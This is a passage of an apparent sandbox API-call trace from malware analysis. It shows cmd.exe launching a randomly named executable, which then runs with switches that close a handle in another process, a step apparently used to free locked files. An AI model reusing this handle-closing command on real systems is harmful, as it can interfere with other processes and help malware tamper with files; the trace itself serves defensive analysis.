RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x29eafc, lpData=0x29eb00, lpcbData=0x29eaf8*=0x1000 | out: lpType=0x29eafc*=0x0, lpData=0x29eb00*=0x9, lpcbData=0x29eaf8*=0x1000) returned 0x2 [0083.747] RegCloseKey (hKey=0x68) returned 0x0 [0083.747] time (in: timer=0x0 | out: timer=0x0) returned 0x5e2710e6 [0083.747] srand (_Seed=0x5e2710e6) [0083.747] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" [0083.748] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" [0083.748] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.748] GetProcessHeap () returned 0x660000 [0083.748] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x210) returned 0x674490 [0083.748] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x674498, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0083.748] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0083.748] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0083.748] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0083.749] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.749] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0083.749] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0083.749] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0083.749] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0083.749] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0083.749] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0083.749] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0083.749] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0083.749] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0083.749] GetProcessHeap () returned 0x660000 [0083.749] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x54) returned 0x6746a8 [0083.749] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x29f8c0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.749] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x29f8c0, lpFilePart=0x29f8bc | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x29f8bc*="Desktop") returned 0x25 [0083.749] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.749] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x29f63c | out: lpFindFileData=0x29f63c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x672070 [0083.749] FindClose (in: hFindFile=0x672070 | out: hFindFile=0x672070) returned 1 [0083.749] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x29f63c | out: lpFindFileData=0x29f63c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x672070 [0083.749] FindClose (in: hFindFile=0x672070 | out: hFindFile=0x672070) returned 1 [0083.749] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0083.749] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x29f63c | out: lpFindFileData=0x29f63c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x672070 [0083.750] FindClose (in: hFindFile=0x672070 | out: hFindFile=0x672070) returned 1 [0083.750] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0083.750] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0083.750] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0083.750] GetProcessHeap () returned 0x660000 [0083.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x672d70 | out: hHeap=0x660000) returned 1 [0083.750] GetEnvironmentStringsW () returned 0x6721e0* [0083.750] GetProcessHeap () returned 0x660000 [0083.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x672d70 [0083.750] FreeEnvironmentStringsW (penv=0x6721e0) returned 1 [0083.750] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0083.750] GetProcessHeap () returned 0x660000 [0083.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6746a8 | out: hHeap=0x660000) returned 1 [0083.750] GetProcessHeap () returned 0x660000 [0083.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x400e) returned 0x674f08 [0083.750] GetProcessHeap () returned 0x660000 [0083.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x74) returned 0x678f38 [0083.751] GetProcessHeap () returned 0x660000 [0083.751] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x674f08 | out: hHeap=0x660000) returned 1 [0083.751] GetConsoleOutputCP () returned 0x1b5 [0083.751] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0083.751] GetUserDefaultLCID () returned 0x409 [0083.751] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x29fa00, cchData=128 | out: lpLCData="0") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x29fa00, cchData=128 | out: lpLCData="0") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x29fa00, cchData=128 | out: lpLCData="1") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0083.752] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0083.752] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0083.753] GetProcessHeap () returned 0x660000 [0083.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20c) returned 0x6721e0 [0083.753] GetConsoleTitleW (in: lpConsoleTitle=0x6721e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0083.754] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0083.754] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0083.754] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0083.754] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0083.754] GetProcessHeap () returned 0x660000 [0083.754] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x400a) returned 0x674f08 [0083.754] GetProcessHeap () returned 0x660000 [0083.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x674f08 | out: hHeap=0x660000) returned 1 [0083.755] _wcsicmp (_String1="bv6ncK8c.exe", _String2=")") returned 57 [0083.755] _wcsicmp (_String1="FOR", _String2="bv6ncK8c.exe") returned 4 [0083.755] _wcsicmp (_String1="FOR/?", _String2="bv6ncK8c.exe") returned 4 [0083.755] _wcsicmp (_String1="IF", _String2="bv6ncK8c.exe") returned 7 [0083.755] _wcsicmp (_String1="IF/?", _String2="bv6ncK8c.exe") returned 7 [0083.755] _wcsicmp (_String1="REM", _String2="bv6ncK8c.exe") returned 16 [0083.755] _wcsicmp (_String1="REM/?", _String2="bv6ncK8c.exe") returned 16 [0083.755] GetProcessHeap () returned 0x660000 [0083.755] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x58) returned 0x6746a8 [0083.755] GetProcessHeap () returned 0x660000 [0083.755] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x22) returned 0x6723f8 [0083.756] GetProcessHeap () returned 0x660000 [0083.756] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x58) returned 0x672428 [0084.116] GetConsoleTitleW (in: lpConsoleTitle=0x29f6f8, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.117] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0084.117] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0084.118] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0084.119] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0084.120] GetProcessHeap () returned 0x660000 [0084.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x210) returned 0x672488 [0084.120] GetProcessHeap () returned 0x660000 [0084.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x72) returned 0x678fb8 [0084.120] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0084.120] GetProcessHeap () returned 0x660000 [0084.120] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x418) returned 0x6726a0 [0084.120] SetErrorMode (uMode=0x0) returned 0x0 [0084.120] SetErrorMode (uMode=0x1) returned 0x0 [0084.120] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x6726a8, lpFilePart=0x29f218 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x29f218*="Desktop") returned 0x25 [0084.120] SetErrorMode (uMode=0x0) returned 0x1 [0084.121] GetProcessHeap () returned 0x660000 [0084.121] RtlReAllocateHeap (Heap=0x660000, Flags=0x0, Ptr=0x6726a0, Size=0x6e) returned 0x6726a0 [0084.121] GetProcessHeap () returned 0x660000 [0084.121] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x6726a0) returned 0x6e [0084.121] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0084.121] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0084.121] GetProcessHeap () returned 0x660000 [0084.121] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x120) returned 0x672718 [0084.121] GetProcessHeap () returned 0x660000 [0084.121] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0x238) returned 0x672840 [0084.128] GetConsoleTitleW (in: lpConsoleTitle=0x29f48c, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0084.128] InitializeProcThreadAttributeList (in: lpAttributeList=0x29f314, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x29f3dc | out: lpAttributeList=0x29f314, lpSize=0x29f3dc) returned 1 [0084.128] UpdateProcThreadAttribute (in: lpAttributeList=0x29f314, dwFlags=0x0, Attribute=0x60001, lpValue=0x29f3d4, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x29f314, lpPreviousValue=0x0) returned 1 [0084.128] GetStartupInfoW (in: lpStartupInfo=0x29f2d0 | out: lpStartupInfo=0x29f2d0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0084.139] CloseHandle (hObject=0x74) returned 1 [0084.139] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0084.139] GetProcessHeap () returned 0x660000 [0084.139] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x672d70 | out: hHeap=0x660000) returned 1 [0084.139] GetEnvironmentStringsW () returned 0x672c90* [0084.139] GetProcessHeap () returned 0x660000 [0084.139] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x67af20 [0084.139] FreeEnvironmentStringsW (penv=0x672c90) returned 1 [0084.139] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0098.095] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x29f2b0 | out: lpExitCode=0x29f2b0*=0x0) returned 1 [0098.095] CloseHandle (hObject=0x78) returned 1 [0098.096] _vsnwprintf (in: _Buffer=0x29f3f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x29f2bc | out: _Buffer="00000000") returned 8 [0098.096] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0098.096] GetProcessHeap () returned 0x660000 [0098.096] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x67af20 | out: hHeap=0x660000) returned 1 [0098.096] GetEnvironmentStringsW () returned 0x672c90* [0098.097] GetProcessHeap () returned 0x660000 [0098.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x67af20 [0098.097] FreeEnvironmentStringsW (penv=0x672c90) returned 1 [0098.097] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0098.097] GetProcessHeap () returned 0x660000 [0098.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x67af20 | out: hHeap=0x660000) returned 1 [0098.097] GetEnvironmentStringsW () returned 0x672c90* [0098.097] GetProcessHeap () returned 0x660000 [0098.097] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x8, Size=0xb84) returned 0x67af20 [0098.097] FreeEnvironmentStringsW (penv=0x672c90) returned 1 [0098.097] GetProcessHeap () returned 0x660000 [0098.097] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6700d0 | out: hHeap=0x660000) returned 1 [0098.097] DeleteProcThreadAttributeList (in: lpAttributeList=0x29f314 | out: lpAttributeList=0x29f314) [0098.097] _get_osfhandle (_FileHandle=1) returned 0x80 [0098.097] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0098.097] _get_osfhandle (_FileHandle=1) returned 0x80 [0098.097] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0098.097] _get_osfhandle (_FileHandle=0) returned 0x3 [0098.097] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0098.098] SetConsoleInputExeNameW () returned 0x1 [0098.098] GetConsoleOutputCP () returned 0x1b5 [0098.098] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0098.098] SetThreadUILanguage (LangId=0x0) returned 0x409 [0098.099] exit (_Code=0) Process: id = "155" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0xb7a6000" os_pid = "0xce0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0xbb4" cmd_line = "bv6ncK8c.exe -accepteula -c 150 -y -p 1824 -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 708 os_tid = 0xce4 [0084.102] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0084.102] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0084.102] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0084.103] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0084.104] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0084.104] GetProcAddress 